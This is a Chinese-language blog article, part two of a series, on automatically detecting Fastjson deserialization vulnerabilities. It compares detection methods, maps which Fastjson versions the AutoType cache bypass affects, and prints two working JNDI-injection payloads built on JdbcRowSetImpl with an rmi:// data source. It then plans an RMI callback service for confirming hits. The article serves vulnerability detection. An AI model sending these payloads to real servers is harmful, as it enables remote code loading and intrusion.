Fastjson 反序列化漏洞自动化检测( 二 )


上面的三种方式综合考量下,第一种是最合适的 。第二种有个致命的限制,需要类似 JSON.parseObject(z, Feature.SupportNonPublicField) 的用法来启用对私有成员的设置,这个选项默认关闭,所以直接不考虑;第三种虽然简单,但用户部署起来很复杂,需要一个能够自行控制 dns 的域名才可以,而且内网的情况更加棘手 。
查阅资料后发现,为了防止 JNDI 注入,Java 本身也做了很多努力,比如 java.rmi.server.useCodebaseOnly 和 com.sun.jndi.rmi.object.trustURLCodebase 这两个都是用于防止 rmi server 远程加载恶意类的 。但这些限制对漏洞检测而言是无效的,检测讲究点到为止,我们只要能确定漏洞存在就可以结束检测流程 。对 JNDI 注入而言,我们认为 JNDI server 收到了 socket 连接就是漏洞存在 。
确定 payload上面敲定了使用 JNDI 注入的方式来做检测,还有个关键问题需要解决,就是检测过程使用的 payload 。有个简单的方式是把各个版本爆出的 poc 都打一遍,可以但有些粗暴 。回看最开始说的漏洞检测的几个点,现在要思考的是如何高效检测 。
从 2017 年到现在(2019.12),fastjson 先后约有 5 次左右的反序列漏洞的产生、修复和绕过,在这曲折的打怪升级过程中,这其中有两个关键性的版本,一个是 1.2.24,一个是 1.2.47 。前者是官方主动说该版本有反序列化漏洞,开启了 fastjson 反序列化研究的道路,后者是护网期间诞生的一个梦幻般的绕过 。1.2.24 及之前没有任何限制,从该版本后逐渐增加了黑名单限制、默认关闭 AutoType 等,安全更新大都因为黑名单被绕过,直到 1.2.47 版本左右,有人发现了一种利用 cache 绕过限制的方法,而且这种方法可以向前通杀很多版本,但是 1.2.24 版本却不能用,究竟可以杀到那个版本,我自己调了一下代码,结论如下:

  • 1.2.33 - 1.2.47 无条件利用
  • 1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
  • 1.2.24 无条件利用
cache 机制是从 1.2.25 添加的,我当时很好奇为何这个开启了 AutoType 反而不能用了,发现原因是这两行代码:
// 1.2.25for(i = 0; i < this.denyList.length; ++i) {deny = this.denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}// 1.2.33for(i = 0; i < this.denyList.length; ++i) {deny = this.denyList[i];if (className.startsWith(deny) && TypeUtils.getClassFromMApping(typeName) == null) {throw new JSONException("autoType is not support. " + typeName);}}这段代码只在开启了 AutoType 时会执行到,但 25 版本少了一个判断,导致 cache 的利用机制失效了 。综合来看 47 这个版本的 poc 基本是通杀的,但 25~32 几个版本手动开了 AutoType 就检查不到了,只能发一个别的 payload 来检测,我曾花费很多力气来尝试把两个 payload 合二为一,但后来发现做的是无用功,因为这两个关键版本的 payload 本质上是互斥的 。
没有办法只能求次发两个包解决,其中 payload1 是”通杀“ payload,payload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload,这两个结合就覆盖了所有的 case 。细心的同学会发现每个数据都套了一层随机数,这么做的原因是我发现 Java Web 中可以通过 annotation 来做类型绑定,大意是可以指定 /user 的数据类型是 User,如果 Server 收到的数据是这样的 {"@type": "com.sun.rowset.JdbcRowSetImpl"},数据指定的类型和 User 不匹配时会报错,这是我在测试 vulhub 靶站时发现的 。通过这样一个小的优化可以提高 payload 的命中率 。
// payload 1{"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"rand2": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://127.0.0.1:1099/aaa","autoCommit": true}}// payload 2{"rand3": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "rmi://127.0.0.1:1099/aaa","autoCommit": true}}自动化实现检测方式和 payload 都确定了,就可以开始写代码了 。有个问题摆在了眼前,如何利用 RMI 服务来做自动化检测 。回想一下漏洞检测常用的方式:
  • 有回显的检测
  • 布尔/时间盲检测
  • 反连平台检测
fastjson 的这个问题明显属于第三种,它需要一个外部服务来告诉我们漏洞有没有触发,我们称这种服务为反连平台 。白帽子们最常用的 xss 平台就是一个 http 服务的反连平台,检测 ssrf 漏洞时也常用反连平台来作为辅助平台,那么我们能不能设法实现一个基于 rmi 服务的反连平台?


推荐阅读